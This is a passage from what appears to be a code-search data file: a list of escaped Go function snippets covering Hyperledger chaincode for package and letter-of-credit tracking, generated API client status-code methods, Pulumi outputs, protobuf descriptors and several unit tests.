temprature\\nif packageinfo.PkgId != key{\\n jsonResp = \\\" Error : Invalid PackageId Passed \\\"\\n return nil, errors.New(jsonResp)\\n }\\n\\n// check wheather the pkg temprature is in acceptable range and package in in valid status\\nif packageinfo.PkgStatus == \\\"Pkg_Damaged\\\" {\\n jsonResp = \\\" Error :Temprature thershold crossed - Package Damaged\\\"\\n return nil, errors.New(jsonResp)\\n }\\n\\ntemprature_reading, err = strconv.Atoi(args[1])\\nif err != nil {\\n\\tjsonResp = \\\" Error : 2nd argument must be a numeric string\\\"\\n \\treturn nil, errors.New(jsonResp)\\n\\t}\\n\\n\\nif temprature_reading > packageinfo.TempratureMax || temprature_reading < packageinfo.TempratureMin {\\n packageinfo.PkgStatus = \\\"Pkg_Damaged\\\"\\n }\\n\\nbytes, err := json.Marshal(&packageinfo)\\nif err != nil {\\n fmt.Println(\\\"Could not marshal personal info object\\\", err)\\n return nil, err\\n }\\n\\nerr = stub.PutState(key, bytes)\\nif err != nil {\\n return nil, err\\n }\\n\\nreturn nil, nil\\n}\",\n \"func TestAddenda99MakeReturnCodeDict(t *testing.T) {\\n\\tcodes := makeReturnCodeDict()\\n\\t// check if known code is present\\n\\t_, prs := codes[\\\"R01\\\"]\\n\\tif !prs {\\n\\t\\tt.Error(\\\"Return Code R01 was not found in the ReturnCodeDict\\\")\\n\\t}\\n\\t// check if invalid code is present\\n\\t_, prs = codes[\\\"ABC\\\"]\\n\\tif prs {\\n\\t\\tt.Error(\\\"Valid return for an invalid return code key\\\")\\n\\t}\\n}\",\n \"func (o *ObmsPatchByIDDefault) Code() int {\\n\\treturn o._statusCode\\n}\",\n \"func DecodeGrpcRespRDSpec(ctx context.Context, response interface{}) (interface{}, error) {\\n\\treturn response, nil\\n}\",\n \"func (c *ReturnsCodeType) UnmarshalXML(d *xml.Decoder, start xml.StartElement) error {\\n\\tvar v string\\n\\td.DecodeElement(&v, &start)\\n\\tfor _, attr := range start.Attr {\\n\\t\\tif attr.Name.Local == \\\"datestamp\\\" {\\n\\t\\t\\tc.Datestamp = DtDotDateOrDateTime(attr.Value)\\n\\t\\t}\\n\\t\\tif attr.Name.Local == \\\"sourcetype\\\" {\\n\\t\\t\\tc.Sourcetype = SourceTypeCode(attr.Value)\\n\\t\\t}\\n\\t\\tif attr.Name.Local == \\\"sourcename\\\" {\\n\\t\\t\\tc.Sourcename = DtDotNonEmptyString(attr.Value)\\n\\t\\t}\\n\\t}\\n\\tswitch v {\\n\\n // As specified in (ONIX 3.0 only)\\n case \\\"00\\\":\\n\\t\\tc.Body = `Proprietary`\\n\\n // Maintained by CLIL (Commission Interprofessionnel du Livre). Returns conditions values in should be taken from the CLIL list\\n case \\\"01\\\":\\n\\t\\tc.Body = `French book trade returns conditions code`\\n\\n // Maintained by BISAC: Returns conditions values in should be taken from List 66\\n case \\\"02\\\":\\n\\t\\tc.Body = `BISAC Returnable Indicator code`\\n\\n // NOT CURRENTLY USED – BIC has decided that it will not maintain a code list for this purpose, since returns conditions are usually at least partly based on the trading relationship\\n case \\\"03\\\":\\n\\t\\tc.Body = `UK book trade returns conditions code`\\n\\n // Returns conditions values in should be taken from List 204\\n case \\\"04\\\":\\n\\t\\tc.Body = `ONIX Returns conditions code`\\n\\tdefault:\\n\\t\\treturn fmt.Errorf(\\\"undefined code for ReturnsCodeType has been passed, got [%s]\\\", v)\\n\\t}\\n\\treturn nil\\n}\",\n \"func EncodeGrpcRespRDSpec(ctx context.Context, response interface{}) (interface{}, error) {\\n\\treturn response, nil\\n}\",\n \"func (o InnerErrorResponsePtrOutput) Code() pulumi.StringPtrOutput {\\n\\treturn o.ApplyT(func(v *InnerErrorResponse) *string {\\n\\t\\tif v == nil {\\n\\t\\t\\treturn nil\\n\\t\\t}\\n\\t\\treturn v.Code\\n\\t}).(pulumi.StringPtrOutput)\\n}\",\n \"func EncodeGrpcRespLicenseSpec(ctx context.Context, response interface{}) (interface{}, error) {\\n\\treturn response, nil\\n}\",\n \"func (o *PatchServiceAccountTokenOK) Code() int {\\n\\treturn 200\\n}\",\n \"func (o ClusterVersionDetailsResponseOutput) CodeVersion() pulumi.StringPtrOutput {\\n\\treturn o.ApplyT(func(v ClusterVersionDetailsResponse) *string { return v.CodeVersion }).(pulumi.StringPtrOutput)\\n}\",\n \"func (*TestReport_Setup_SetupAction_Assert_ResultCode) Descriptor() ([]byte, []int) {\\n\\treturn file_proto_google_fhir_proto_r5_core_resources_test_report_proto_rawDescGZIP(), []int{0, 3, 0, 1, 0}\\n}\",\n \"func (o *PatchEquipmentIoCardsMoidDefault) Code() int {\\n\\treturn o._statusCode\\n}\",\n \"func (*TestReport_ResultCode) Descriptor() ([]byte, []int) {\\n\\treturn file_proto_google_fhir_proto_r5_core_resources_test_report_proto_rawDescGZIP(), []int{0, 1}\\n}\",\n \"func mockReturnDetailAddendumC() ReturnDetailAddendumC {\\n\\trdAddendumC := NewReturnDetailAddendumC()\\n\\trdAddendumC.ImageReferenceKeyIndicator = 1\\n\\trdAddendumC.MicrofilmArchiveSequenceNumber = \\\"1A\\\"\\n\\trdAddendumC.LengthImageReferenceKey = \\\"0034\\\"\\n\\trdAddendumC.ImageReferenceKey = \\\"0\\\"\\n\\trdAddendumC.Description = \\\"RD Addendum C\\\"\\n\\trdAddendumC.UserField = \\\"\\\"\\n\\treturn rdAddendumC\\n}\",\n \"func DecodeGrpcRespWorkloadSpec(ctx context.Context, response interface{}) (interface{}, error) {\\n\\treturn response, nil\\n}\",\n \"func probe(stub shim.ChaincodeStubInterface) []byte {\\n\\tts := time.Now().Format(time.UnixDate)\\n\\tversion, _ := stub.GetState(CHAIN_CODE_VERSION)\\n\\toutput := \\\"{\\\\\\\"status\\\\\\\":\\\\\\\"Success\\\\\\\",\\\\\\\"ts\\\\\\\" : \\\\\\\"\\\" + ts + \\\"\\\\\\\" ,\\\\\\\"version\\\\\\\" : \\\\\\\"\\\" + string(version) + \\\"\\\\\\\" }\\\"\\n\\treturn []byte(output)\\n}\",\n \"func (t *SimpleChaincode) getLoc(stub *shim.ChaincodeStub , args []string) ([]byte,error) {\\n \\n \\t \\n \\ts := []string{args[0], \\\"requester\\\"};\\n s1 := strings.Join(s, \\\"_\\\");\\n \\t \\n \\n requester_string, err := stub.GetState(s1);\\n \\t\\n \\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n \\t//------------------------------------------------------------\\n \\ts = []string{args[0], \\\"beneficiary\\\"};\\n s1 = strings.Join(s, \\\"_\\\");\\n \\t \\n \\n beneficiary_string, err := stub.GetState(s1);\\n \\t\\n \\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\t//--------------------------------------------------------------\\n \\ts = []string{args[0], \\\"amount\\\"};\\n s1 = strings.Join(s, \\\"_\\\");\\n \\t \\n \\n amount_string, err := stub.GetState(s1);\\n \\t\\n \\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\t//--------------------------------------------------------------\\n\\ts = []string{args[0], \\\"expiry_date\\\"};\\n s1 = strings.Join(s, \\\"_\\\");\\n \\t \\n \\n expiry_date_string, err := stub.GetState(s1);\\n \\t\\n \\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\t//--------------------------------------------------------------\\n\\ts = []string{args[0], \\\"status\\\"};\\n s1 = strings.Join(s, \\\"_\\\");\\n \\t \\n \\n status_string, err := stub.GetState(s1);\\n \\t\\n \\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\t//--------------------------------------------------------------\\n\\ts = []string{args[0], \\\"advising_bank\\\"};\\n s1 = strings.Join(s, \\\"_\\\");\\n \\t \\n \\n advising_bank_string, err := stub.GetState(s1);\\n \\t\\n \\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\t//--------------------------------------------------------------\\n\\ts = []string{args[0], \\\"document_hash\\\"};\\n s1 = strings.Join(s, \\\"_\\\");\\n \\t \\n \\n document_hash_string, err := stub.GetState(s1);\\n \\t\\n \\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\t//--------------------------------------------------------------\\n\\ts = []string{args[0], \\\"loc_filename\\\"};\\n s1 = strings.Join(s, \\\"_\\\");\\n \\t \\n \\n loc_filename_string, err := stub.GetState(s1);\\n \\t\\n \\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\t//--------------------------------------------------------------\\n \\ts = []string{args[0], \\\"contract_hash\\\"};\\n s1 = strings.Join(s, \\\"_\\\");\\n \\t \\n \\n contract_hash_string, err := stub.GetState(s1);\\n \\t\\n \\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\t//--------------------------------------------------------------\\n\\ts = []string{args[0], \\\"bol_hash\\\"};\\n s1 = strings.Join(s, \\\"_\\\");\\n \\t \\n \\n bol_hash_string, err := stub.GetState(s1);\\n \\t\\n \\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\t//--------------------------------------------------------------\\n \\t\\n \\ts = []string{string(requester_string),string(beneficiary_string),string(amount_string),string(expiry_date_string),string(status_string),string(advising_bank_string),string(document_hash_string),string(loc_filename_string),string(contract_hash_string),string(bol_hash_string)};\\n \\n // s=[]string{string(contract_hash_string),string(bol_hash_string)};\\n final_string := strings.Join(s, \\\"|\\\");\\n \\t\\n \\t\\n \\t\\n //s := strconv.Itoa(counter) ;\\n //ret_s := []byte(s);\\n return []byte(final_string), nil;\\n \\n }\",\n \"func (o *ReorderSecurityRealmsOK) Code() int {\\n\\treturn 200\\n}\",\n \"func EncodeGrpcRespDSCProfileSpec(ctx context.Context, response interface{}) (interface{}, error) {\\n\\treturn response, nil\\n}\",\n \"func (o *PatchProductsByIDProductOptionsByIDDefault) Code() int {\\n\\treturn o._statusCode\\n}\",\n \"func (*CodeActionResponse_Result) Descriptor() ([]byte, []int) {\\n\\treturn file_protocol_rpc_rpc_proto_rawDescGZIP(), []int{31, 0}\\n}\",\n \"func TestModifyForIOS(t *testing.T) {\\n\\ttestCases := []struct {\\n\\t\\tdescription string\\n\\t\\tgivenRequest *openrtb2.BidRequest\\n\\t\\texpectedLMT *int8\\n\\t}{\\n\\t\\t{\\n\\t\\t\\tdescription: \\\"13.0\\\",\\n\\t\\t\\tgivenRequest: &openrtb2.BidRequest{\\n\\t\\t\\t\\tApp: &openrtb2.App{},\\n\\t\\t\\t\\tDevice: &openrtb2.Device{OS: \\\"iOS\\\", OSV: \\\"13.0\\\", IFA: \\\"\\\", Lmt: nil},\\n\\t\\t\\t},\\n\\t\\t\\texpectedLMT: nil,\\n\\t\\t},\\n\\t\\t{\\n\\t\\t\\tdescription: \\\"14.0\\\",\\n\\t\\t\\tgivenRequest: &openrtb2.BidRequest{\\n\\t\\t\\t\\tApp: &openrtb2.App{},\\n\\t\\t\\t\\tDevice: &openrtb2.Device{OS: \\\"iOS\\\", OSV: \\\"14.0\\\", IFA: \\\"\\\", Lmt: nil},\\n\\t\\t\\t},\\n\\t\\t\\texpectedLMT: openrtb2.Int8Ptr(1),\\n\\t\\t},\\n\\t\\t{\\n\\t\\t\\tdescription: \\\"14.1\\\",\\n\\t\\t\\tgivenRequest: &openrtb2.BidRequest{\\n\\t\\t\\t\\tApp: &openrtb2.App{},\\n\\t\\t\\t\\tDevice: &openrtb2.Device{OS: \\\"iOS\\\", OSV: \\\"14.1\\\", IFA: \\\"\\\", Lmt: nil},\\n\\t\\t\\t},\\n\\t\\t\\texpectedLMT: openrtb2.Int8Ptr(1),\\n\\t\\t},\\n\\t\\t{\\n\\t\\t\\tdescription: \\\"14.1.3\\\",\\n\\t\\t\\tgivenRequest: &openrtb2.BidRequest{\\n\\t\\t\\t\\tApp: &openrtb2.App{},\\n\\t\\t\\t\\tDevice: &openrtb2.Device{OS: \\\"iOS\\\", OSV: \\\"14.1.3\\\", IFA: \\\"\\\", Lmt: nil},\\n\\t\\t\\t},\\n\\t\\t\\texpectedLMT: openrtb2.Int8Ptr(1),\\n\\t\\t},\\n\\t\\t{\\n\\t\\t\\tdescription: \\\"14.2\\\",\\n\\t\\t\\tgivenRequest: &openrtb2.BidRequest{\\n\\t\\t\\t\\tApp: &openrtb2.App{},\\n\\t\\t\\t\\tDevice: &openrtb2.Device{Ext: json.RawMessage(`{\\\"atts\\\":0}`), OS: \\\"iOS\\\", OSV: \\\"14.2\\\", IFA: \\\"\\\", Lmt: nil},\\n\\t\\t\\t},\\n\\t\\t\\texpectedLMT: openrtb2.Int8Ptr(1),\\n\\t\\t},\\n\\t\\t{\\n\\t\\t\\tdescription: \\\"14.2\\\",\\n\\t\\t\\tgivenRequest: &openrtb2.BidRequest{\\n\\t\\t\\t\\tApp: &openrtb2.App{},\\n\\t\\t\\t\\tDevice: &openrtb2.Device{Ext: json.RawMessage(`{\\\"atts\\\":2}`), OS: \\\"iOS\\\", OSV: \\\"14.2\\\", IFA: \\\"\\\", Lmt: openrtb2.Int8Ptr(0)},\\n\\t\\t\\t},\\n\\t\\t\\texpectedLMT: openrtb2.Int8Ptr(1),\\n\\t\\t},\\n\\t\\t{\\n\\t\\t\\tdescription: \\\"14.2.7\\\",\\n\\t\\t\\tgivenRequest: &openrtb2.BidRequest{\\n\\t\\t\\t\\tApp: &openrtb2.App{},\\n\\t\\t\\t\\tDevice: &openrtb2.Device{Ext: json.RawMessage(`{\\\"atts\\\":1}`), OS: \\\"iOS\\\", OSV: \\\"14.2.7\\\", IFA: \\\"\\\", Lmt: nil},\\n\\t\\t\\t},\\n\\t\\t\\texpectedLMT: openrtb2.Int8Ptr(1),\\n\\t\\t},\\n\\t\\t{\\n\\t\\t\\tdescription: \\\"14.2.7\\\",\\n\\t\\t\\tgivenRequest: &openrtb2.BidRequest{\\n\\t\\t\\t\\tApp: &openrtb2.App{},\\n\\t\\t\\t\\tDevice: &openrtb2.Device{Ext: json.RawMessage(`{\\\"atts\\\":3}`), OS: \\\"iOS\\\", OSV: \\\"14.2.7\\\", IFA: \\\"\\\", Lmt: openrtb2.Int8Ptr(1)},\\n\\t\\t\\t},\\n\\t\\t\\texpectedLMT: openrtb2.Int8Ptr(0),\\n\\t\\t},\\n\\t}\\n\\n\\tfor _, test := range testCases {\\n\\t\\tModifyForIOS(test.givenRequest)\\n\\t\\tassert.Equal(t, test.expectedLMT, test.givenRequest.Device.Lmt, test.description)\\n\\t}\\n}\",\n \"func (t *IPDCChaincode) invoke_update_status(stub shim.ChaincodeStubInterface, args []string, map_specification map[string]interface{}) pb.Response {\\r\\n\\r\\n\\tfmt.Println(\\\"***********Entering invoke_update_status***********\\\")\\r\\n\\r\\n\\tif len(args) < 2 {\\r\\n\\r\\n\\t\\tfmt.Println(\\\"Error: Incorrect number of arguments\\\")\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting invoke_update_status***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(\\\"Error: Incorrect number of arguments\\\")\\r\\n\\t}\\r\\n\\r\\n\\tvar record_specification map[string]interface{}\\r\\n\\r\\n\\tvar err error\\r\\n\\r\\n\\terr = json.Unmarshal([]byte(args[0]), &record_specification)\\r\\n\\r\\n\\tif err != nil {\\r\\n\\r\\n\\t\\tfmt.Println(\\\"Error in format of record.\\\")\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting invoke_update_status***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(\\\"Error in format of record.\\\")\\r\\n\\t}\\r\\n\\r\\n\\tadditional_json, ok := map_specification[\\\"additional_json\\\"]\\r\\n\\r\\n\\tif ok {\\r\\n\\r\\n\\t\\tadditional_json_data, ok1 := additional_json.(map[string]interface{})\\r\\n\\r\\n\\t\\tif ok1 {\\r\\n\\r\\n\\t\\t\\tfor spec, _ := range additional_json_data {\\r\\n\\r\\n\\t\\t\\t\\trecord_specification[spec] = additional_json_data[spec]\\r\\n\\t\\t\\t}\\r\\n\\t\\t} else {\\r\\n\\t\\t\\tfmt.Println(\\\"Invalid additional JSON fields in specification\\\")\\r\\n\\r\\n\\t\\t\\tfmt.Println(\\\"***********Exiting invoke_update_status***********\\\")\\r\\n\\r\\n\\t\\t\\treturn shim.Error(\\\"Invalid additional JSON fields in specification\\\")\\r\\n\\t\\t}\\r\\n\\t}\\r\\n\\r\\n\\tvar keys_map interface{}\\r\\n\\r\\n\\tvar specs map[string]interface{}\\r\\n\\r\\n\\tkeys_map, error_keys_map := t.get_keys_map(stub, record_specification)\\r\\n\\r\\n\\tif error_keys_map != nil {\\r\\n\\r\\n\\t\\tfmt.Println(error_keys_map.Error())\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting invoke_update_status***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(error_keys_map.Error())\\r\\n\\t}\\r\\n\\r\\n\\tspecs, ok = keys_map.(map[string]interface{})\\r\\n\\r\\n\\tif !ok {\\r\\n\\r\\n\\t\\tfmt.Println(\\\"Invalid keys_map specification.\\\")\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting invoke_update_status***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(\\\"Invalid keys_map specification.\\\")\\r\\n\\t}\\r\\n\\r\\n\\tif specs[\\\"primary_key\\\"] == nil {\\r\\n\\r\\n\\t\\tfmt.Println(\\\"There is no primary key specification.\\\")\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting invoke_update_status***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(\\\"Error : There is no primary key specification.\\\")\\r\\n\\t}\\r\\n\\r\\n\\tvar pk_spec []interface{}\\r\\n\\r\\n\\tpk_spec, ok = specs[\\\"primary_key\\\"].([]interface{})\\r\\n\\r\\n\\tif !ok {\\r\\n\\r\\n\\t\\tfmt.Println(\\\"Error in Primary key specification.\\\")\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting invoke_update_status***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(\\\"Error in Primary key specification.\\\")\\r\\n\\t}\\r\\n\\r\\n\\tkey, err_key := t.createInterfacePrimaryKey(record_specification, pk_spec)\\r\\n\\r\\n\\tif err_key != nil {\\r\\n\\r\\n\\t\\tfmt.Println(err_key.Error())\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting invoke_update_status***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(err_key.Error())\\r\\n\\r\\n\\t}\\r\\n\\r\\n\\tvar valAsBytes []byte\\r\\n\\r\\n\\tvalAsBytes, err = stub.GetState(key)\\r\\n\\r\\n\\tif err != nil {\\r\\n\\r\\n\\t\\tfmt.Println(\\\"Error: Failed to get state for primary key. \\\" + err.Error())\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting invoke_update_status***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(\\\"Error: Failed to get state for primary key. \\\" + err.Error())\\r\\n\\r\\n\\t} else if valAsBytes == nil {\\r\\n\\r\\n\\t\\tfmt.Println(\\\"Error: No value for key : \\\" + key)\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting invoke_update_status***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(\\\"Error: No value for primary key.\\\")\\r\\n\\r\\n\\t}\\r\\n\\r\\n\\terr = json.Unmarshal([]byte(valAsBytes), &record_specification)\\r\\n\\r\\n\\tif err != nil {\\r\\n\\r\\n\\t\\tfmt.Println(\\\"Error in format of Blockchain record\\\")\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting invoke_update_status***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(\\\"Error in format of Blockchain record\\\")\\r\\n\\r\\n\\t}\\r\\n\\r\\n\\terr_del := t.delete_composite_keys(stub, specs, record_specification, key)\\r\\n\\r\\n\\tif err_del != nil {\\r\\n\\r\\n\\t\\tfmt.Println(\\\"Error while deleting composite keys: \\\" + err_del.Error())\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting invoke_update_status***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(\\\"Error while deleting composite keys: \\\" + err_del.Error())\\r\\n\\r\\n\\t}\\r\\n\\r\\n\\tvar to_be_updated_map map[string]interface{}\\r\\n\\r\\n\\terr = json.Unmarshal([]byte(args[1]), &to_be_updated_map)\\r\\n\\r\\n\\tif err != nil {\\r\\n\\r\\n\\t\\tfmt.Println(\\\"Error in format of update map\\\")\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting invoke_update_status***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(\\\"Error in format of update map\\\")\\r\\n\\r\\n\\t}\\r\\n\\r\\n\\tfor spec, spec_val := range to_be_updated_map {\\r\\n\\r\\n\\t\\tvar spec_val_string, spec_ok = spec_val.(string)\\r\\n\\r\\n\\t\\tif !spec_ok {\\r\\n\\r\\n\\t\\t\\tfmt.Println(\\\"Unable to parse value of status update\\\")\\r\\n\\r\\n\\t\\t\\tfmt.Println(\\\"***********Exiting invoke_update_status***********\\\")\\r\\n\\r\\n\\t\\t\\treturn shim.Error(\\\"Unable to parse value of status update\\\")\\r\\n\\r\\n\\t\\t}\\r\\n\\r\\n\\t\\tvar val_check, val_err = t.updatestatusvaliditycheck(spec, spec_val_string, map_specification)\\r\\n\\r\\n\\t\\tif val_check != 0 {\\r\\n\\r\\n\\t\\t\\tfmt.Println(val_err.Error())\\r\\n\\r\\n\\t\\t\\tfmt.Println(\\\"***********Exiting invoke_update_status***********\\\")\\r\\n\\r\\n\\t\\t\\treturn shim.Error(val_err.Error())\\r\\n\\t\\t}\\r\\n\\r\\n\\t\\trecord_specification[spec] = spec_val_string\\r\\n\\t}\\r\\n\\r\\n\\tvar concatenated_record_json []byte\\r\\n\\r\\n\\tconcatenated_record_json, err = json.Marshal(record_specification)\\r\\n\\r\\n\\tif err != nil {\\r\\n\\r\\n\\t\\tfmt.Println(\\\"Error: Unable to Marshal Concatenated Record to JSON \\\" + err.Error())\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting invoke_update_status***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(\\\"Error: Unable to Marshal Concatenated Record to JSON \\\" + err.Error())\\r\\n\\t}\\r\\n\\r\\n\\terr = stub.PutState(key, []byte(concatenated_record_json))\\r\\n\\r\\n\\tif err != nil {\\r\\n\\r\\n\\t\\tfmt.Println(\\\"Failed to put state : \\\" + err.Error())\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting invoke_update_status***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(\\\"Failed to put state : \\\" + err.Error())\\r\\n\\t}\\r\\n\\r\\n\\terr = t.create_composite_keys(stub, specs, record_specification, key)\\r\\n\\r\\n\\tif err != nil {\\r\\n\\r\\n\\t\\tfmt.Println(\\\"Received error while creating composite keys\\\" + err.Error())\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting invoke_update_status***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(\\\"Received error while creating composite keys\\\" + err.Error())\\r\\n\\t}\\r\\n\\r\\n\\tfmt.Println(\\\"***********Exiting invoke_update_status***********\\\")\\r\\n\\r\\n\\treturn shim.Success(nil)\\r\\n\\r\\n}\",\n \"func (s RepoSpec) SpecString() string {\\n\\tif s.IsZero() {\\n\\t\\tpanic(\\\"empty RepoSpec\\\")\\n\\t}\\n\\treturn s.URI\\n}\",\n \"func (m *Win32LobAppProductCodeDetection) SetProductCode(value *string)() {\\n err := m.GetBackingStore().Set(\\\"productCode\\\", value)\\n if err != nil {\\n panic(err)\\n }\\n}\",\n \"func (o *PatchMachineConfigurationDefault) Code() int {\\n\\treturn o._statusCode\\n}\",\n \"func (a *Client) ChangeRegistrationDetails(params *ChangeRegistrationDetailsParams, authInfo runtime.ClientAuthInfoWriter, opts ...ClientOption) (*ChangeRegistrationDetailsOK, error) {\\n\\t// TODO: Validate the params before sending\\n\\tif params == nil {\\n\\t\\tparams = NewChangeRegistrationDetailsParams()\\n\\t}\\n\\top := &runtime.ClientOperation{\\n\\t\\tID: \\\"changeRegistrationDetails\\\",\\n\\t\\tMethod: \\\"PUT\\\",\\n\\t\\tPathPattern: \\\"/applications/{appName}\\\",\\n\\t\\tProducesMediaTypes: []string{\\\"application/json\\\"},\\n\\t\\tConsumesMediaTypes: []string{\\\"application/json\\\"},\\n\\t\\tSchemes: []string{\\\"http\\\", \\\"https\\\"},\\n\\t\\tParams: params,\\n\\t\\tReader: &ChangeRegistrationDetailsReader{formats: a.formats},\\n\\t\\tAuthInfo: authInfo,\\n\\t\\tContext: params.Context,\\n\\t\\tClient: params.HTTPClient,\\n\\t}\\n\\tfor _, opt := range opts {\\n\\t\\topt(op)\\n\\t}\\n\\n\\tresult, err := a.transport.Submit(op)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tsuccess, ok := result.(*ChangeRegistrationDetailsOK)\\n\\tif ok {\\n\\t\\treturn success, nil\\n\\t}\\n\\t// unexpected success response\\n\\t// safeguard: normally, absent a default response, unknown success responses return an error above: so this is a codegen issue\\n\\tmsg := fmt.Sprintf(\\\"unexpected success response for changeRegistrationDetails: API contract not enforced by server. Client expected to get an error, but got: %T\\\", result)\\n\\tpanic(msg)\\n}\",\n \"func newCodeResponseWriter(w http.ResponseWriter) *codeResponseWriter {\\n\\treturn &codeResponseWriter{w, http.StatusOK}\\n}\",\n \"func (t *SimpleChaincode) acceptpkg(stub shim.ChaincodeStubInterface, args []string) ([]byte, error) {\\nfmt.Println(\\\"running acceptpkg()\\\")\\nvar key , jsonResp string\\nvar err error\\n\\nif len(args) != 2 {\\n\\tjsonResp = \\\" Error:Incorrect number of arguments. Expecting : PkgId and Provider \\\"\\n \\treturn nil, errors.New(jsonResp)\\n }\\n\\n key = args[0]\\n var packageinfo PackageInfo\\n\\n valAsbytes, err := stub.GetState(key)\\n\\n if err != nil {\\n jsonResp = \\\" Error Failed to get state for \\\" + key\\n return nil, errors.New(jsonResp)\\n }\\n\\n err = json.Unmarshal(valAsbytes, &packageinfo)\\n if err != nil {\\n fmt.Println(\\\"Could not marshal personal info object\\\", err)\\n return nil, err\\n }\\n\\n// validate pkd exist or not by checking temprature\\n if packageinfo.PkgId != key{\\n jsonResp = \\\"Error: Invalid PackageId Passed \\\"\\n return nil, errors.New(jsonResp)\\n }\\n\\n // check wheather the pkg temprature is in acceptable range and package in in valid status\\n if packageinfo.PkgStatus == \\\"Pkg_Damaged\\\" { // Pkg_Damaged\\n\\t jsonResp = \\\"Error : Temprature thershold crossed - Package Damaged \\\"\\n return nil, errors.New(jsonResp)\\n }\\n\\n\\tif packageinfo.Provider != args[1] { // Pkg_Damaged\\n\\t\\t jsonResp = \\\"Error : Wrong Provider passed - Can not accept the package \\\"\\n\\t return nil, errors.New(jsonResp)\\n\\t }\\n\\n //packageinfo.Provider = args[1]\\n packageinfo.PkgStatus = \\\"In_Transit\\\"\\n\\n bytes, err := json.Marshal(&packageinfo)\\n if err != nil {\\n fmt.Println(\\\"Could not marshal personal info object\\\", err)\\n return nil, err\\n }\\n\\n err = stub.PutState(key, bytes)\\n if err != nil {\\n return nil, err\\n }\\n\\n return nil, nil\\n}\",\n \"func DecodeGrpcRespWorkloadIntfSpec(ctx context.Context, response interface{}) (interface{}, error) {\\n\\treturn response, nil\\n}\",\n \"func DecodeGrpcRespDSCProfileSpec(ctx context.Context, response interface{}) (interface{}, error) {\\n\\treturn response, nil\\n}\",\n \"func (*CodeActionResponse) Descriptor() ([]byte, []int) {\\n\\treturn file_protocol_rpc_rpc_proto_rawDescGZIP(), []int{31}\\n}\",\n \"func (o *PatchHyperflexSoftwareVersionPoliciesMoidDefault) Code() int {\\n\\treturn o._statusCode\\n}\",\n \"func (o *PatchLicenseCustomerOpsMoidDefault) Code() int {\\n\\treturn o._statusCode\\n}\",\n \"func (*CMsgClientToGCGetTicketCodesResponse_Code) Descriptor() ([]byte, []int) {\\n\\treturn file_dota_gcmessages_client_proto_rawDescGZIP(), []int{360, 0}\\n}\",\n \"func (o UserFacingErrorResponsePtrOutput) Code() pulumi.StringPtrOutput {\\n\\treturn o.ApplyT(func(v *UserFacingErrorResponse) *string {\\n\\t\\tif v == nil {\\n\\t\\t\\treturn nil\\n\\t\\t}\\n\\t\\treturn v.Code\\n\\t}).(pulumi.StringPtrOutput)\\n}\",\n \"func (o RouteWarningsItemResponseOutput) Code() pulumi.StringOutput {\\n\\treturn o.ApplyT(func(v RouteWarningsItemResponse) string { return v.Code }).(pulumi.StringOutput)\\n}\",\n \"func (o SslPolicyWarningsItemResponseOutput) Code() pulumi.StringOutput {\\n\\treturn o.ApplyT(func(v SslPolicyWarningsItemResponse) string { return v.Code }).(pulumi.StringOutput)\\n}\",\n \"func (pc *programCode) createReturn() {\\n\\tcode := \\\"\\\\tret\\\\n\\\"\\n\\n\\tpc.appendCode(code)\\n\\tpc.indentLevel-- // get back -> buffer before\\n}\",\n \"func (t *SimpleChaincode) Init(stub shim.ChaincodeStubInterface, function string, args []string) ([]byte, error) {\\n\\nvar jsonResp string\\nvar packageinfo PackageInfo\\nvar err error\\n\\n// Validate inpit\\nif len(args) != 7 {\\n jsonResp = \\\"Error: Incorrect number of arguments. Expecting 6 in order of Shipper, Insurer, Consignee, Temprature, PackageDes, Provider \\\"\\n return nil, errors.New(jsonResp)\\n }\\n\\n\\n// Polulating JSON block with input for first block\\npackageinfo.PkgId = \\\"1Z20170426\\\"\\npackageinfo.Shipper = args[0]\\npackageinfo.Insurer = args[1]\\npackageinfo.Consignee = args[2]\\npackageinfo.Provider = args[3]\\npackageinfo.TempratureMin, err = strconv.Atoi(args[4])\\nif err != nil {\\n jsonResp = \\\"Error :5th argument must be a numeric string\\\"\\n return nil, errors.New(jsonResp)\\n\\t}\\npackageinfo.TempratureMax, err = strconv.Atoi(args[5])\\nif err != nil 